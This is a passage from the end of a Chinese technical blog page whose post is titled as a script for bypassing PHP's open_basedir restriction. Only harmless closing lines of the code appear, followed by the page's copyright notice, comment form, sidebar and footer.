style="margin:0px;padding:0px;border:none;color:#000000;background-color:inherit;">?>&nbsp;&nbsp;</span></li> <li class="alt" style="border-top:none;border-right:none;border-bottom:none;border-left:3px solid rgb(108,226,108);color:inherit;line-height:18px;padding:0px 3px 0px 10px;margin-right:0px;margin-bottom:0px;list-style-position:outside;"><span style="margin:0px;padding:0px;border:none;color:#000000;background-color:inherit;"></ol> <p>&nbsp;&nbsp;</span></li> <li style="border-top:none;border-right:none;border-bottom:none;border-left:3px solid rgb(108,226,108);background-color:rgb(248,248,248);line-height:18px;padding:0px 3px 0px 10px;margin-right:0px;margin-bottom:0px;list-style-position:outside;"><span style="margin:0px;padding:0px;border:none;color:#000000;background-color:inherit;"><?php&nbsp;<span class="keyword" style="margin:0px;padding:0px;border:none;color:rgb(0,102,153);background-color:inherit;font-weight:bold;">endif</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">;?>&nbsp;&nbsp;</span></span></li> </ol> </div> </div> </div> <div class="article-bar-bottom" style="padding:0px 0px 16px;margin:36px 0px 0px;border-bottom:1px solid rgb(227,227,227);color:rgb(51,51,51);font-family:'SF Pro Display', Roboto, Noto, Arial, 'PingFang SC', 'Hiragino Sans GB', 'Microsoft YaHei', sans-serif;font-size:14px;"> <div class="article-copyright" style="padding:0px;margin:0px;font-size:12px;color:rgb(153,153,153);">版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/niexinming/article/details/53146095</div> </div></div> <link rel="stylesheet" href="https://csdnimg.cn/release/phoenix/production/wapedit_views-8e29c324bc.css"> </div> <div class="entry-details" itemprop="copyrightHolder" itemtype="https://schema.org/Organization" itemscope> <details> <summary>原文链接:<a href="https://ysuo.org/2018/05/03/%e7%bb%95%e8%bf%87open_basedir%e8%af%bb%e6%96%87%e4%bb%b6%e8%84%9a%e6%9c%ac/" rel="author">绕过open_basedir读文件脚本</a>,转发请注明来源!</summary> </details> </div> </div> <div class="entry-footer clearfix" role="toolbar"><div class="bd-share"><div class="bdsharebuttonbox"><a class="bds_qzone" data-cmd="qzone"></a><a class="bds_tsina" data-cmd="tsina"></a><a class="bds_weixin" data-cmd="weixin"></a><a class="bds_more" data-cmd="more"></a></div><script>var share_excerpt = '【绕过open_basedir读文件脚本】 绕过open_basedir读文件脚本2016年11月13日 01:28:21阅读数:1221参加了一场2016年的sycsec感觉又学到不少东西废话不多说,首先啥是open_basedir?op...';var share_pic = '';var share_url = 'https://ysuo.org/2018/05/03/%e7%bb%95%e8%bf%87open_basedir%e8%af%bb%e6%96%87%e4%bb%b6%e8%84%9a%e6%9c%ac/?fid=0';var wkey = '';var qkey = '';window._bd_share_main = false;window._bd_share_config = { common : { bdText : share_excerpt,bdDesc : share_excerpt,bdUrl : share_url, bdPic : share_pic, bdSnsKey : {'tsina':wkey, 'tqq':qkey,'qzone':qkey} }, share : [{ 'bdStyle' : 1, 'bdSize' : 24 }] };</script></div><div class="btn-group vote-group" data-votes-up="0" data-votes-down="0" data-vote-id="1321" data-vote-type="post" itemscope itemtype="http://data-vocabulary.org/Review-aggregate"> <a href="javascript:;" class="btn btn-default up"><span class="glyphicon glyphicon-thumbs-up"></span> <span class="votes">0</span><div class="hide" itemprop="rating" itemscope itemtype="http://data-vocabulary.org/Rating"><span itemprop="average">1</span><span itemprop="votes">0</span><span itemprop="count">0</span></div></a> <a href="javascript:;" class="btn btn-default down"><span class="glyphicon glyphicon-thumbs-down"></span></a> </div><span itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="https://ysuo.org/" title="伊索笔记" itemprop="url"><span itemprop="title">伊索笔记</span></a></span> › <span itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="https://ysuo.org/category/internet/" title="互联网" itemprop="url"><span itemprop="title">互联网</span></a></span> › <span itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="https://ysuo.org/2018/05/03/%e7%bb%95%e8%bf%87open_basedir%e8%af%bb%e6%96%87%e4%bb%b6%e8%84%9a%e6%9c%ac/" title="绕过open_basedir读文件脚本" itemprop="url"><span itemprop="title">绕过open_basedir读文件脚本</span></a></span></div> <div class="panel-footer profile clearfix" itemprop="publisher" itemscope itemtype="http://schema.org/Organization"> <a class="author-avatar" href="https://ysuo.org/author/admin/"> <img src="https://ysuo.org/blog/wp-content/themes/dmeng2.0/images/grey.png" data-original="https://secure.gravatar.com/avatar/7e935e3b5cf86ad86d8d2500c4c25bc6?d=mystery&r=G&s=50" class="avatar" width="50" height="50" /> </a> <div class="author-description"> <div class="author-name"> 作者 : <span itemprop="name">admin</span> </div> <div itemprop="description">没有个人说明</div> </div> </div> </div> <nav class="pager" role="navigation" itemscope itemtype="https://schema.org/SiteNavigationElement"> <li class="previous"><a href="https://ysuo.org/2018/05/01/ec2%e5%bc%80%e5%90%afipv6%e8%ae%bf%e9%97%ae%e5%92%8c%e7%a6%81%e6%ad%a2%e9%87%8d%e5%90%af%e5%90%8e%e8%87%aa%e5%8a%a8%e5%88%86%e9%85%8dip%e5%9c%b0%e5%9d%80/" rel="prev"><span class="text-muted">上一篇:</span> <span itemprop="name">EC2 开启 IPV6 访问 和 禁止重启后自动分配IP地址</span></a></li><li class="next"><a href="https://ysuo.org/2018/05/07/%e4%bd%bf%e7%94%a8libreswan%e5%92%8cubiquitiedgerouter%e4%b8%bagooglecloud%e8%ae%be%e7%bd%aeipsecvpn/" rel="next"><span class="text-muted">下一篇:</span> <span itemprop="name">使用Libreswan和Ubiquiti EdgeRouter为Google Cloud设置IPsec VPN</span></a></li> </nav><!-- .navigation --> <div class="panel panel-default" id="comments" data-no-instant><div class="list-group" id="respond"> <h4 class="list-group-item">发表评论 <small id="cancel-comment-reply"><a rel="nofollow" id="cancel-comment-reply-link" href="/2018/05/03/%E7%BB%95%E8%BF%87open_basedir%E8%AF%BB%E6%96%87%E4%BB%B6%E8%84%9A%E6%9C%AC/#respond" style="display:none;">点击这里取消回复。</a></small></h4> <form action="https://ysuo.org/blog/wp-comments-post.php" method="post" id="commentform" class="form-horizontal list-group-item" role="form"> <div id="comment-user" data-user-id="0"> <div class="form-group"> <label for="author" class="col-sm-2 control-label">名称</label> <div class="col-sm-10"> <input class="form-control" type="text" name="author" id="author" value="" placeholder="(必填)" aria-required='true' required /> </div> </div> <div class="form-group"> <label for="email" class="col-sm-2 control-label">电子邮件</label> <div class="col-sm-10"> <input class="form-control" type="email" name="email" id="email" value="" placeholder="(必填)(不会被公开)" aria-required='true' required /> </div> </div> <div class="form-group"> <label for="url" class="col-sm-2 control-label">站点</label> <div class="col-sm-10"> <input class="form-control" type="text" name="url" id="url" value="" /> </div> </div> </div> <textarea class="form-control" rows="3" name="comment" id="comment" required></textarea> <div id="comment-action" class="btn-toolbar clearfix" role="toolbar"><p class="help-block">请注意保护个人隐私,敏感内容请使用隐私内容按钮或标签插入,如[pem]隐私内容[/pem]。</p> <div class="btn-group"> <div id="looks-image" class="hide"> <ul class="clearfix"> <li title="呵呵"><img src="https://ysuo.org/blog/wp-content/themes/dmeng2.0/images/look/hehe.gif" alt="呵呵" width="22" height="22" /></li><li title="嘻嘻"><img src="https://ysuo.org/blog/wp-content/themes/dmeng2.0/images/look/xixi.gif" alt="嘻嘻" width="22" height="22" /></li><li title="哈哈"><img src="https://ysuo.org/blog/wp-content/themes/dmeng2.0/images/look/haha.gif" alt="哈哈" width="22" height="22" /></li><li title="可爱"><img src="https://ysuo.org/blog/wp-content/themes/dmeng2.0/images/look/keai.gif" alt="可爱" width="22" height="22" /></li><li title="可怜"><img src="https://ysuo.org/blog/wp-content/themes/dmeng2.0/images/look/kelian.gif" alt="可怜" width="22" height="22" /></li><li title="挖鼻屎"><img src="https://ysuo.org/blog/wp-content/themes/dmeng2.0/images/look/wabishi.gif" alt="挖鼻屎" width="22" height="22" /></li><li title="吃惊"><img src="https://ysuo.org/blog/wp-content/themes/dmeng2.0/images/look/chijing.gif" alt="吃惊" width="22" height="22" /></li><li title="害羞"><img src="https://ysuo.org/blog/wp-content/themes/dmeng2.0/images/look/haixiu.gif" alt="害羞" width="22" height="22" /></li><li title="挤眼"><img src="https://ysuo.org/blog/wp-content/themes/dmeng2.0/images/look/jiyan.gif" alt="挤眼" width="22" height="22" /></li><li title="闭嘴"><img src="https://ysuo.org/blog/wp-content/themes/dmeng2.0/images/look/bizui.gif" alt="闭嘴" width="22" height="22" /></li><li title="鄙视"><img src="https://ysuo.org/blog/wp-content/themes/dmeng2.0/images/look/bishi.gif" alt="鄙视" width="22" height="22" /></li><li title="爱你"><img src="https://ysuo.org/blog/wp-content/themes/dmeng2.0/images/look/aini.gif" alt="爱你" width="22" height="22" /></li><li title="泪"><img src="https://ysuo.org/blog/wp-content/themes/dmeng2.0/images/look/lei.gif" alt="泪" width="22" height="22" /></li><li title="偷笑"><img src="https://ysuo.org/blog/wp-content/themes/dmeng2.0/images/look/touxiao.gif" alt="偷笑" width="22" height="22" /></li><li title="亲亲"><img src="https://ysuo.org/blog/wp-content/themes/dmeng2.0/images/look/qinqin.gif" alt="亲亲" width="22" height="22" /></li><li title="生病"><img src="https://ysuo.org/blog/wp-content/themes/dmeng2.0/images/look/shengbing.gif" alt="生病" width="22" height="22" /></li><li title="太开心"><img src="https://ysuo.org/blog/wp-content/themes/dmeng2.0/images/look/taikaixin.gif" alt="太开心" width="22" height="22" /></li><li title="懒得理你"><img src="https://ysuo.org/blog/wp-content/themes/dmeng2.0/images/look/landelini.gif" alt="懒得理你" width="22" height="22" /></li><li title="右哼哼"><img src="https://ysuo.org/blog/wp-content/themes/dmeng2.0/images/look/youhengheng.gif" alt="右哼哼" width="22" height="22" /></li><li title="左哼哼"><img src="https://ysuo.org/blog/wp-content/themes/dmeng2.0/images/look/zuohengheng.gif" alt="左哼哼" width="22" height="22" /></li><li title="嘘"><img src="https://ysuo.org/blog/wp-content/themes/dmeng2.0/images/look/xu.gif" alt="嘘" width="22" height="22" /></li><li title="衰"><img src="https://ysuo.org/blog/wp-content/themes/dmeng2.0/images/look/shuai.gif" alt="衰" width="22" height="22" /></li><li title="委屈"><img src="https://ysuo.org/blog/wp-content/themes/dmeng2.0/images/look/weiqu.gif" alt="委屈" width="22" height="22" /></li><li title="吐"><img src="https://ysuo.org/blog/wp-content/themes/dmeng2.0/images/look/tu.gif" alt="吐" width="22" height="22" /></li> </ul> </div> <span class="btn btn-default look-toggle"><span class="glyphicon glyphicon-eye-open"></span> 表情</span> <span class="btn btn-default" id="open-privacy-action"><span class="glyphicon glyphicon-exclamation-sign"></span> 隐私内容</span> </div> <div class="btn-group"> <button class="btn btn-default" name="submit" type="submit" id="commentsubmit">Submit Comment</button> </div> </div> <div class="input-group has-warning" id="privacy-action" style="display:none"> <span class="input-group-addon"><abbr class="pem" title="只有评论/文章作者或更高权限的用户才可见">隐私内容</abbr></span> <input type="text" class="form-control" id="privacy-comment"> <span class="input-group-btn"> <button class="btn btn-warning" type="button" id="add-privacy-comment">添加到评论</button> </span> </div> <div id="comment-error-alert" class="alert alert-warning" style="display:none;" role="alert"></div> <input type='hidden' name='comment_post_ID' value='1321' id='comment_post_ID' /> <input type='hidden' name='comment_parent' id='comment_parent' value='0' /> </form> </div> </div> </article><!-- #content --> <div id="sidebar" class="col-lg-4 col-md-4" role="complementary" itemscope itemtype="http://schema.org/WPSideBar"> <aside id="search-2" class="panel panel-default widget clearfix widget_search"><form class="input-group" role="search" method="get" id="searchform" action="https://ysuo.org/"> <span class="input-group-addon">搜索</span> <input type="text" class="form-control" placeholder="请输入检索关键词 &hellip;" name="s" id="s" required> <span class="input-group-btn"><button type="submit" class="btn btn-default" id="searchsubmit"><span class="glyphicon glyphicon-search"></span></button></span> </form> </aside><aside id="categories-2" class="panel panel-default widget clearfix widget_categories"><h3 class="panel-heading widget-title">分类目录</h3><form action="https://ysuo.org" method="get"><label class="screen-reader-text" for="cat">分类目录</label><select name='cat' id='cat' class='postform' > <option value='-1'>选择分类目录</option> <option class="level-0" value="2">Linux</option> <option class="level-1" value="36">&nbsp;&nbsp;&nbsp;CentOS</option> <option class="level-1" value="37">&nbsp;&nbsp;&nbsp;Debian</option> <option class="level-1" value="39">&nbsp;&nbsp;&nbsp;iptables</option> <option class="level-1" value="5">&nbsp;&nbsp;&nbsp;shell</option> <option class="level-1" value="6">&nbsp;&nbsp;&nbsp;Ubuntu</option> <option class="level-0" value="3">MYSQL</option> <option class="level-0" value="4">openssl-数字证书</option> <option class="level-0" value="7">web 服务器</option> <option class="level-0" value="8">windows</option> <option class="level-1" value="42">&nbsp;&nbsp;&nbsp;PE系统</option> <option class="level-1" value="48">&nbsp;&nbsp;&nbsp;wget</option> <option class="level-1" value="9">&nbsp;&nbsp;&nbsp;Windows Embedded</option> <option class="level-1" value="33">&nbsp;&nbsp;&nbsp;软件</option> <option class="level-0" value="10">wordpress</option> <option class="level-0" value="11">个人业余实验</option> <option class="level-0" value="12">云计算</option> <option class="level-1" value="40">&nbsp;&nbsp;&nbsp;OpenShift-SaaS</option> <option class="level-1" value="47">&nbsp;&nbsp;&nbsp;VPS</option> <option class="level-1" value="20">&nbsp;&nbsp;&nbsp;容器</option> <option class="level-1" value="30">&nbsp;&nbsp;&nbsp;网络服务器</option> <option class="level-0" value="13">互联网</option> <option class="level-1" value="38">&nbsp;&nbsp;&nbsp;ip</option> <option class="level-1" value="15">&nbsp;&nbsp;&nbsp;免费资源</option> <option class="level-1" value="18">&nbsp;&nbsp;&nbsp;域名</option> <option class="level-1" value="19">&nbsp;&nbsp;&nbsp;域名解析服务</option> <option class="level-1" value="32">&nbsp;&nbsp;&nbsp;谷歌</option> <option class="level-0" value="14">代理服务器</option> <option class="level-1" value="46">&nbsp;&nbsp;&nbsp;VPN</option> <option class="level-1" value="16">&nbsp;&nbsp;&nbsp;其它代理服务</option> <option class="level-1" value="21">&nbsp;&nbsp;&nbsp;影梭</option> <option class="level-0" value="17">医疗资料</option> <option class="level-0" value="22">感悟生活</option> <option class="level-0" value="23">手机</option> <option class="level-1" value="44">&nbsp;&nbsp;&nbsp;play商店</option> <option class="level-1" value="49">&nbsp;&nbsp;&nbsp;塞班</option> <option class="level-1" value="50">&nbsp;&nbsp;&nbsp;安卓</option> <option class="level-0" value="24">明星日志</option> <option class="level-0" value="1">未分类</option> <option class="level-0" value="26">系统运行维护</option> <option class="level-1" value="29">&nbsp;&nbsp;&nbsp;网络安全</option> <option class="level-0" value="27">经济</option> <option class="level-0" value="28">编程源码</option> <option class="level-1" value="41">&nbsp;&nbsp;&nbsp;perl</option> <option class="level-1" value="43">&nbsp;&nbsp;&nbsp;php</option> <option class="level-1" value="45">&nbsp;&nbsp;&nbsp;python</option> <option class="level-0" value="35">邮箱</option> </select> </form> <script type='text/javascript'> /* <![CDATA[ */ (function() { var dropdown = document.getElementById( "cat" ); function onCatChange() { if ( dropdown.options[ dropdown.selectedIndex ].value > 0 ) { dropdown.parentNode.submit(); } } dropdown.onchange = onCatChange; })(); /* ]]> */ </script> </aside><aside id="tag_cloud-2" class="panel panel-default widget clearfix widget_tag_cloud"><h3 class="panel-heading widget-title">标签</h3><div class="tagcloud"><a href="https://ysuo.org/tag/centos/" class="tag-cloud-link tag-link-53 tag-link-position-1" style="font-size: 14.642335766423pt;" aria-label="CentOS (8个项目)">CentOS</a> <a href="https://ysuo.org/tag/debian/" class="tag-cloud-link tag-link-54 tag-link-position-2" style="font-size: 11.065693430657pt;" aria-label="Debian (3个项目)">Debian</a> <a href="https://ysuo.org/tag/%e5%9f%9f%e5%90%8d%e8%a7%a3%e6%9e%90%e6%9c%8d%e5%8a%a1/" class="tag-cloud-link tag-link-55 tag-link-position-3" style="font-size: 14.131386861314pt;" aria-label="DNS (7个项目)">DNS</a> <a href="https://ysuo.org/tag/ip/" class="tag-cloud-link tag-link-56 tag-link-position-4" style="font-size: 15.56204379562pt;" aria-label="ip (10个项目)">ip</a> <a href="https://ysuo.org/tag/iptables/" class="tag-cloud-link tag-link-57 tag-link-position-5" style="font-size: 8pt;" aria-label="iptables (1个项目)">iptables</a> <a href="https://ysuo.org/tag/linux/" class="tag-cloud-link tag-link-58 tag-link-position-6" style="font-size: 21.386861313869pt;" aria-label="Linux (40个项目)">Linux</a> <a href="https://ysuo.org/tag/mysql/" class="tag-cloud-link tag-link-59 tag-link-position-7" style="font-size: 11.065693430657pt;" aria-label="MYSQL (3个项目)">MYSQL</a> <a href="https://ysuo.org/tag/openshift-saas/" class="tag-cloud-link tag-link-60 tag-link-position-8" style="font-size: 12.087591240876pt;" aria-label="OpenShift-SaaS (4个项目)">OpenShift-SaaS</a> <a href="https://ysuo.org/tag/ssl-certificate/" class="tag-cloud-link tag-link-62 tag-link-position-9" style="font-size: 16.686131386861pt;" aria-label="openssl-数字证书 (13个项目)">openssl-数字证书</a> <a href="https://ysuo.org/tag/perl/" class="tag-cloud-link tag-link-63 tag-link-position-10" style="font-size: 12.087591240876pt;" aria-label="perl (4个项目)">perl</a> <a href="https://ysuo.org/tag/pe/" class="tag-cloud-link tag-link-64 tag-link-position-11" style="font-size: 14.131386861314pt;" aria-label="PE系统 (7个项目)">PE系统</a> <a href="https://ysuo.org/tag/php/" class="tag-cloud-link tag-link-65 tag-link-position-12" style="font-size: 22pt;" aria-label="php (46个项目)">php</a> <a href="https://ysuo.org/tag/google-play-store/" class="tag-cloud-link tag-link-66 tag-link-position-13" style="font-size: 12.087591240876pt;" aria-label="play商店 (4个项目)">play商店</a> <a href="https://ysuo.org/tag/python/" class="tag-cloud-link tag-link-67 tag-link-position-14" style="font-size: 14.131386861314pt;" aria-label="python (7个项目)">python</a> <a href="https://ysuo.org/tag/shell/" class="tag-cloud-link tag-link-69 tag-link-position-15" style="font-size: 9.8394160583942pt;" aria-label="shell (2个项目)">shell</a> <a href="https://ysuo.org/tag/ubuntu/" class="tag-cloud-link tag-link-70 tag-link-position-16" style="font-size: 16.686131386861pt;" aria-label="Ubuntu (13个项目)">Ubuntu</a> <a href="https://ysuo.org/tag/vpn/" class="tag-cloud-link tag-link-71 tag-link-position-17" style="font-size: 13.620437956204pt;" aria-label="VPN (6个项目)">VPN</a> <a href="https://ysuo.org/tag/vps/" class="tag-cloud-link tag-link-72 tag-link-position-18" style="font-size: 16.992700729927pt;" aria-label="VPS (14个项目)">VPS</a> <a href="https://ysuo.org/tag/webserver/" class="tag-cloud-link tag-link-74 tag-link-position-19" style="font-size: 13.620437956204pt;" aria-label="web 服务器 (6个项目)">web 服务器</a> <a href="https://ysuo.org/tag/wget/" class="tag-cloud-link tag-link-75 tag-link-position-20" style="font-size: 11.065693430657pt;" aria-label="wget (3个项目)">wget</a> <a href="https://ysuo.org/tag/windows/" class="tag-cloud-link tag-link-84 tag-link-position-21" style="font-size: 21.284671532847pt;" aria-label="windows (39个项目)">windows</a> <a href="https://ysuo.org/tag/windows-embedded/" class="tag-cloud-link tag-link-85 tag-link-position-22" style="font-size: 8pt;" aria-label="Windows Embedded (1个项目)">Windows Embedded</a> <a href="https://ysuo.org/tag/wordpress/" class="tag-cloud-link tag-link-87 tag-link-position-23" style="font-size: 9.8394160583942pt;" aria-label="wordpress (2个项目)">wordpress</a> <a href="https://ysuo.org/tag/mylabs/" class="tag-cloud-link tag-link-88 tag-link-position-24" style="font-size: 14.131386861314pt;" aria-label="个人业余实验 (7个项目)">个人业余实验</a> <a href="https://ysuo.org/tag/internet/" class="tag-cloud-link tag-link-90 tag-link-position-25" style="font-size: 21.693430656934pt;" aria-label="互联网 (43个项目)">互联网</a> <a href="https://ysuo.org/tag/proxy/" class="tag-cloud-link tag-link-91 tag-link-position-26" style="font-size: 16.992700729927pt;" aria-label="代理服务器 (14个项目)">代理服务器</a> <a href="https://ysuo.org/tag/free-resource/" class="tag-cloud-link tag-link-92 tag-link-position-27" style="font-size: 14.131386861314pt;" aria-label="免费资源 (7个项目)">免费资源</a> <a href="https://ysuo.org/tag/other-proxy/" class="tag-cloud-link tag-link-94 tag-link-position-28" style="font-size: 8pt;" aria-label="其它代理服务 (1个项目)">其它代理服务</a> <a href="https://ysuo.org/tag/medicine/" class="tag-cloud-link tag-link-95 tag-link-position-29" style="font-size: 11.065693430657pt;" aria-label="医疗资料 (3个项目)">医疗资料</a> <a href="https://ysuo.org/tag/domain/" class="tag-cloud-link tag-link-96 tag-link-position-30" style="font-size: 11.065693430657pt;" aria-label="域名 (3个项目)">域名</a> <a href="https://ysuo.org/tag/symbian/" class="tag-cloud-link tag-link-97 tag-link-position-31" style="font-size: 8pt;" aria-label="塞班 (1个项目)">塞班</a> <a href="https://ysuo.org/tag/android/" class="tag-cloud-link tag-link-98 tag-link-position-32" style="font-size: 16.277372262774pt;" aria-label="安卓 (12个项目)">安卓</a> <a href="https://ysuo.org/tag/docker/" class="tag-cloud-link tag-link-99 tag-link-position-33" style="font-size: 9.8394160583942pt;" aria-label="容器 (2个项目)">容器</a> <a href="https://ysuo.org/tag/shadowsocks/" class="tag-cloud-link tag-link-100 tag-link-position-34" style="font-size: 12.905109489051pt;" aria-label="影梭 (5个项目)">影梭</a> <a href="https://ysuo.org/tag/insights-for-life/" class="tag-cloud-link tag-link-102 tag-link-position-35" style="font-size: 21.080291970803pt;" aria-label="感悟生活 (37个项目)">感悟生活</a> <a href="https://ysuo.org/tag/mobile/" class="tag-cloud-link tag-link-103 tag-link-position-36" style="font-size: 16.277372262774pt;" aria-label="手机 (12个项目)">手机</a> <a href="https://ysuo.org/tag/uncategorized/" class="tag-cloud-link tag-link-106 tag-link-position-37" style="font-size: 13.620437956204pt;" aria-label="未分类 (6个项目)">未分类</a> <a href="https://ysuo.org/tag/operation-maintenance/" class="tag-cloud-link tag-link-108 tag-link-position-38" style="font-size: 16.686131386861pt;" aria-label="系统运行维护 (13个项目)">系统运行维护</a> <a href="https://ysuo.org/tag/economic/" class="tag-cloud-link tag-link-109 tag-link-position-39" style="font-size: 14.131386861314pt;" aria-label="经济 (7个项目)">经济</a> <a href="https://ysuo.org/tag/code/" class="tag-cloud-link tag-link-110 tag-link-position-40" style="font-size: 21.591240875912pt;" aria-label="编程源码 (42个项目)">编程源码</a> <a href="https://ysuo.org/tag/system-security/" class="tag-cloud-link tag-link-111 tag-link-position-41" style="font-size: 12.087591240876pt;" aria-label="网络安全 (4个项目)">网络安全</a> <a href="https://ysuo.org/tag/server/" class="tag-cloud-link tag-link-112 tag-link-position-42" style="font-size: 15.153284671533pt;" aria-label="网络服务器 (9个项目)">网络服务器</a> <a href="https://ysuo.org/tag/google-com/" class="tag-cloud-link tag-link-114 tag-link-position-43" style="font-size: 9.8394160583942pt;" aria-label="谷歌 (2个项目)">谷歌</a> <a href="https://ysuo.org/tag/software/" class="tag-cloud-link tag-link-115 tag-link-position-44" style="font-size: 15.153284671533pt;" aria-label="软件 (9个项目)">软件</a> <a href="https://ysuo.org/tag/mail/" class="tag-cloud-link tag-link-117 tag-link-position-45" style="font-size: 12.905109489051pt;" aria-label="邮箱 (5个项目)">邮箱</a></div> </aside><aside id="calendar-2" class="panel panel-default widget clearfix widget_calendar"><div id="calendar_wrap" class="calendar_wrap"><table id="wp-calendar"> <caption>2018年五月</caption> <thead> <tr> <th scope="col" title="星期一">一</th> <th scope="col" title="星期二">二</th> <th scope="col" title="星期三">三</th> <th scope="col" title="星期四">四</th> <th scope="col" title="星期五">五</th> <th scope="col" title="星期六">六</th> <th scope="col" title="星期日">日</th> </tr> </thead> <tfoot> <tr> <td colspan="3" id="prev"><a href="https://ysuo.org/2018/04/">&laquo; 4月</a></td> <td class="pad">&nbsp;</td> <td colspan="3" id="next"><a href="https://ysuo.org/2018/06/">6月 &raquo;</a></td> </tr> </tfoot> <tbody> <tr> <td colspan="1" class="pad">&nbsp;</td><td><a href="https://ysuo.org/2018/05/01/" aria-label="于2018年5月1日上发布的文章">1</a></td><td>2</td><td><a href="https://ysuo.org/2018/05/03/" aria-label="于2018年5月3日上发布的文章">3</a></td><td>4</td><td>5</td><td>6</td> </tr> <tr> <td><a href="https://ysuo.org/2018/05/07/" aria-label="于2018年5月7日上发布的文章">7</a></td><td>8</td><td>9</td><td>10</td><td><a href="https://ysuo.org/2018/05/11/" aria-label="于2018年5月11日上发布的文章">11</a></td><td><a href="https://ysuo.org/2018/05/12/" aria-label="于2018年5月12日上发布的文章">12</a></td><td>13</td> </tr> <tr> <td>14</td><td>15</td><td>16</td><td>17</td><td>18</td><td><a href="https://ysuo.org/2018/05/19/" aria-label="于2018年5月19日上发布的文章">19</a></td><td>20</td> </tr> <tr> <td>21</td><td><a href="https://ysuo.org/2018/05/22/" aria-label="于2018年5月22日上发布的文章">22</a></td><td>23</td><td>24</td><td>25</td><td>26</td><td>27</td> </tr> <tr> <td><a href="https://ysuo.org/2018/05/28/" aria-label="于2018年5月28日上发布的文章">28</a></td><td><a href="https://ysuo.org/2018/05/29/" aria-label="于2018年5月29日上发布的文章">29</a></td><td><a href="https://ysuo.org/2018/05/30/" aria-label="于2018年5月30日上发布的文章">30</a></td><td>31</td> <td class="pad" colspan="3">&nbsp;</td> </tr> </tbody> </table></div></aside></div><!-- #sidebar --> </div> </div><!-- #main --> <footer id="colophon" class="container" role="contentinfo" itemscope itemtype="http://schema.org/WPFooter"> <div class="panel panel-default text-muted"> <div class="panel-body"> </div> <div class="panel-footer clearfix"> &copy; 2018 <a href="https://ysuo.org/">伊索笔记</a> 版权所有 <span class="pull-right copyright"><a href="http://www.dmeng.net/wordpress/" target="_blank">WordPress主题</a> 源自 <a href="http://www.dmeng.net/" rel="generator" target="_blank">多梦网络</a></span> </div> </div> </footer> <script>var ajaxurl = 'https:\/\/ysuo.org\/blog\/wp-admin\/admin-ajax.php';var isUserLoggedIn = 0;var loginUrl = 'https:\/\/ysuo.org\/blog\/wp-login.php?redirect_to=https%3A%2F%2Fysuo.org%2F2018%2F05%2F03%2F%25E7%25BB%2595%25E8%25BF%2587open_basedir%25E8%25AF%25BB%25E6%2596%2587%25E4%25BB%25B6%25E8%2584%259A%25E6%259C%25AC%2F';var dmengPath = 'https:\/\/ysuo.org\/blog\/wp-content\/themes\/dmeng2.0/';var dmengTracker = {"type":"single","pid":1321};var dmengInstant = 0;var dmengTips = {"success":"\u64cd\u4f5c\u6210\u529f","error":"\u64cd\u4f5c\u5931\u8d25","tryagain":"\u8bf7\u91cd\u8bd5"};var dmengCodePrettify = 1;</script><script src="http://bdimg.share.baidu.com/static/api/js/share.js?cdnversion=426054"></script><script type='text/javascript'> /* <![CDATA[ */ var code_prettify_settings = {"base_url":"https:\/\/ysuo.org\/blog\/wp-content\/plugins\/code-prettify\/prettify"}; /* ]]> */ </script> <script type='text/javascript' src='https://ysuo.org/blog/wp-content/plugins/code-prettify/prettify/run_prettify.js?ver=1.3.4'></script> <script type='text/javascript' src='https://ysuo.org/blog/wp-includes/js/wp-embed.min.js?ver=4.9.8'></script> </body> </html><!-- WP Fastest Cache file was created in 0.17879700660706 seconds, on 09-08-18 14:06:53 -->